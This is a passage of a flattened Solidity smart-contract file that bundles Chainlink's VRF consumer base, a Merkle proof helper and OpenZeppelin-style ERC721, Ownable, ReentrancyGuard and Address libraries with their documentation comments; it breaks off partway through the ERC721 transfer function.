sorted. */ function verify( bytes32[] memory proof, bytes32 root, bytes32 leaf ) internal pure returns (bool) { return processProof(proof, leaf) == root; } /** * @dev Returns the rebuilt hash obtained by traversing a Merklee tree up * from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt * hash matches the root of the tree. When processing the proof, the pairs * of leafs & pre-images are assumed to be sorted. * * _Available since v4.4._ */ function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { bytes32 proofElement = proof[i]; if (computedHash <= proofElement) { // Hash(current computed hash + current element of the proof) computedHash = keccak256(abi.encodePacked(computedHash, proofElement)); } else { // Hash(current element of the proof + current computed hash) computedHash = keccak256(abi.encodePacked(proofElement, computedHash)); } } return computedHash; } } contract VRFRequestIDBase { /** * @notice returns the seed which is actually input to the VRF coordinator * * @dev To prevent repetition of VRF output due to repetition of the * @dev user-supplied seed, that seed is combined in a hash with the * @dev user-specific nonce, and the address of the consuming contract. The * @dev risk of repetition is mostly mitigated by inclusion of a blockhash in * @dev the final seed, but the nonce does protect against repetition in * @dev requests which are included in a single block. * * @param _userSeed VRF seed input provided by user * @param _requester Address of the requesting contract * @param _nonce User-specific nonce at the time of the request */ function makeVRFInputSeed( bytes32 _keyHash, uint256 _userSeed, address _requester, uint256 _nonce ) internal pure returns (uint256) { return uint256(keccak256(abi.encode(_keyHash, _userSeed, _requester, _nonce))); } /** * @notice Returns the id for this request * @param _keyHash The serviceAgreement ID to be used for this request * @param _vRFInputSeed The seed to be passed directly to the VRF * @return The id for this request * * @dev Note that _vRFInputSeed is not the seed passed by the consuming * @dev contract, but the one generated by makeVRFInputSeed */ function makeRequestId(bytes32 _keyHash, uint256 _vRFInputSeed) internal pure returns (bytes32) { return keccak256(abi.encodePacked(_keyHash, _vRFInputSeed)); } } // File: https://github.com/smartcontractkit/chainlink/blob/develop/contracts/src/v0.8/interfaces/LinkTokenInterface.sol interface LinkTokenInterface { function allowance(address owner, address spender) external view returns (uint256 remaining); function approve(address spender, uint256 value) external returns (bool success); function balanceOf(address owner) external view returns (uint256 balance); function decimals() external view returns (uint8 decimalPlaces); function decreaseApproval(address spender, uint256 addedValue) external returns (bool success); function increaseApproval(address spender, uint256 subtractedValue) external; function name() external view returns (string memory tokenName); function symbol() external view returns (string memory tokenSymbol); function totalSupply() external view returns (uint256 totalTokensIssued); function transfer(address to, uint256 value) external returns (bool success); function transferAndCall( address to, uint256 value, bytes calldata data ) external returns (bool success); function transferFrom( address from, address to, uint256 value ) external returns (bool success); } // File: https://github.com/smartcontractkit/chainlink/blob/develop/contracts/src/v0.8/VRFConsumerBase.sol /** **************************************************************************** * @notice Interface for contracts using VRF randomness * ***************************************************************************** * @dev PURPOSE * * @dev Reggie the Random Oracle (not his real job) wants to provide randomness * @dev to Vera the verifier in such a way that Vera can be sure he's not * @dev making his output up to suit himself. Reggie provides Vera a public key * @dev to which he knows the secret key. Each time Vera provides a seed to * @dev Reggie, he gives back a value which is computed completely * @dev deterministically from the seed and the secret key. * * @dev Reggie provides a proof by which Vera can verify that the output was * @dev correctly computed once Reggie tells it to her, but without that proof, * @dev the output is indistinguishable to her from a uniform random sample * @dev from the output space. * * @dev The purpose of this contract is to make it easy for unrelated contracts * @dev to talk to Vera the verifier about the work Reggie is doing, to provide * @dev simple access to a verifiable source of randomness. * ***************************************************************************** * @dev USAGE * * @dev Calling contracts must inherit from VRFConsumerBase, and can * @dev initialize VRFConsumerBase's attributes in their constructor as * @dev shown: * * @dev contract VRFConsumer { * @dev constuctor(<other arguments>, address _vrfCoordinator, address _link) * @dev VRFConsumerBase(_vrfCoordinator, _link) public { * @dev <initialization with other arguments goes here> * @dev } * @dev } * * @dev The oracle will have given you an ID for the VRF keypair they have * @dev committed to (let's call it keyHash), and have told you the minimum LINK * @dev price for VRF service. Make sure your contract has sufficient LINK, and * @dev call requestRandomness(keyHash, fee, seed), where seed is the input you * @dev want to generate randomness from. * * @dev Once the VRFCoordinator has received and validated the oracle's response * @dev to your request, it will call your contract's fulfillRandomness method. * * @dev The randomness argument to fulfillRandomness is the actual random value * @dev generated from your seed. * * @dev The requestId argument is generated from the keyHash and the seed by * @dev makeRequestId(keyHash, seed). If your contract could have concurrent * @dev requests open, you can use the requestId to track which seed is * @dev associated with which randomness. See VRFRequestIDBase.sol for more * @dev details. (See "SECURITY CONSIDERATIONS" for principles to keep in mind, * @dev if your contract could have multiple requests in flight simultaneously.) * * @dev Colliding `requestId`s are cryptographically impossible as long as seeds * @dev differ. (Which is critical to making unpredictable randomness! See the * @dev next section.) * * ***************************************************************************** * @dev SECURITY CONSIDERATIONS * * @dev A method with the ability to call your fulfillRandomness method directly * @dev could spoof a VRF response with any random value, so it's critical that * @dev it cannot be directly called by anything other than this base contract * @dev (specifically, by the VRFConsumerBase.rawFulfillRandomness method). * * @dev For your users to trust that your contract's random behavior is free * @dev from malicious interference, it's best if you can write it so that all * @dev behaviors implied by a VRF response are executed *during* your * @dev fulfillRandomness method. If your contract must store the response (or * @dev anything derived from it) and use it later, you must ensure that any * @dev user-significant behavior which depends on that stored value cannot be * @dev manipulated by a subsequent VRF request. * * @dev Similarly, both miners and the VRF oracle itself have some influence * @dev over the order in which VRF responses appear on the blockchain, so if * @dev your contract could have multiple VRF requests in flight simultaneously, * @dev you must ensure that the order in which the VRF responses arrive cannot * @dev be used to manipulate your contract's user-significant behavior. * * @dev Since the ultimate input to the VRF is mixed with the block hash of the * @dev block in which the request is made, user-provided seeds have no impact * @dev on its economic security properties. They are only included for API * @dev compatability with previous versions of this contract. * * @dev Since the block hash of the block which contains the requestRandomness * @dev call is mixed into the input to the VRF *last*, a sufficiently powerful * @dev miner could, in principle, fork the blockchain to evict the block * @dev containing the request, forcing the request to be included in a * @dev different block with a different hash, and therefore a different input * @dev to the VRF. However, such an attack would incur a substantial economic * @dev cost. This cost scales with the number of blocks the VRF oracle waits * @dev until it calls responds to a request. */ abstract contract VRFConsumerBase is VRFRequestIDBase { /** * @notice fulfillRandomness handles the VRF response. Your contract must * @notice implement it. See "SECURITY CONSIDERATIONS" above for important * @notice principles to keep in mind when implementing your fulfillRandomness * @notice method. * * @dev VRFConsumerBase expects its subcontracts to have a method with this * @dev signature, and will call it once it has verified the proof * @dev associated with the randomness. (It is triggered via a call to * @dev rawFulfillRandomness, below.) * * @param requestId The Id initially returned by requestRandomness * @param randomness the VRF output */ function fulfillRandomness(bytes32 requestId, uint256 randomness) internal virtual; /** * @dev In order to keep backwards compatibility we have kept the user * seed field around. We remove the use of it because given that the blockhash * enters later, it overrides whatever randomness the used seed provides. * Given that it adds no security, and can easily lead to misunderstandings, * we have removed it from usage and can now provide a simpler API. */ uint256 private constant USER_SEED_PLACEHOLDER = 0; /** * @notice requestRandomness initiates a request for VRF output given _seed * * @dev The fulfillRandomness method receives the output, once it's provided * @dev by the Oracle, and verified by the vrfCoordinator. * * @dev The _keyHash must already be registered with the VRFCoordinator, and * @dev the _fee must exceed the fee specified during registration of the * @dev _keyHash. * * @dev The _seed parameter is vestigial, and is kept only for API * @dev compatibility with older versions. It can't *hurt* to mix in some of * @dev your own randomness, here, but it's not necessary because the VRF * @dev oracle will mix the hash of the block containing your request into the * @dev VRF seed it ultimately uses. * * @param _keyHash ID of public key against which randomness is generated * @param _fee The amount of LINK to send with the request * * @return requestId unique ID for this request * * @dev The returned requestId can be used to distinguish responses to * @dev concurrent requests. It is passed as the first argument to * @dev fulfillRandomness. */ function requestRandomness(bytes32 _keyHash, uint256 _fee) internal returns (bytes32 requestId) { LINK.transferAndCall(vrfCoordinator, _fee, abi.encode(_keyHash, USER_SEED_PLACEHOLDER)); // This is the seed passed to VRFCoordinator. The oracle will mix this with // the hash of the block containing this request to obtain the seed/input // which is finally passed to the VRF cryptographic machinery. uint256 vRFSeed = makeVRFInputSeed(_keyHash, USER_SEED_PLACEHOLDER, address(this), nonces[_keyHash]); // nonces[_keyHash] must stay in sync with // VRFCoordinator.nonces[_keyHash][this], which was incremented by the above // successful LINK.transferAndCall (in VRFCoordinator.randomnessRequest). // This provides protection against the user repeating their input seed, // which would result in a predictable/duplicate output, if multiple such // requests appeared in the same block. nonces[_keyHash] = nonces[_keyHash] + 1; return makeRequestId(_keyHash, vRFSeed); } LinkTokenInterface internal immutable LINK; address private immutable vrfCoordinator; // Nonces for each VRF key from which randomness has been requested. // // Must stay in sync with VRFCoordinator[_keyHash][this] mapping(bytes32 => uint256) /* keyHash */ /* nonce */ private nonces; /** * @param _vrfCoordinator address of VRFCoordinator contract * @param _link address of LINK token contract * * @dev https://docs.chain.link/docs/link-token-contracts */ constructor(address _vrfCoordinator, address _link) { vrfCoordinator = _vrfCoordinator; LINK = LinkTokenInterface(_link); } // rawFulfillRandomness is called by VRFCoordinator when it receives a valid VRF // proof. rawFulfillRandomness then calls fulfillRandomness, after validating // the origin of the call function rawFulfillRandomness(bytes32 requestId, uint256 randomness) external { require(msg.sender == vrfCoordinator, "Only VRFCoordinator can fulfill"); fulfillRandomness(requestId, randomness); } } /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "Nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) 